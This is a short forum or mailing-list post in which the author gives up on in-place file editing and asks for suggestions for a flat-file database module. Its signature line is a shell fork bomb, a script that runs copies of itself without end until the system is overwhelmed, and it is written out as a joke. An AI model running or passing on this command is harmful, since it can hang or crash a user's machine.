After looking at the options...

I think I'm actually going to forget in-place manipulations on files and go directly to a module that will let me use a flat-file DB, and save myself the trouble. I'm just storing data -- the format won't matter greatly if I can read and store it consitently. I have not the need or the resources to run a full-scale SQL server.

So, any suggestions on a good flat-file DB module?

Thanks for everyone's suggestions!

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;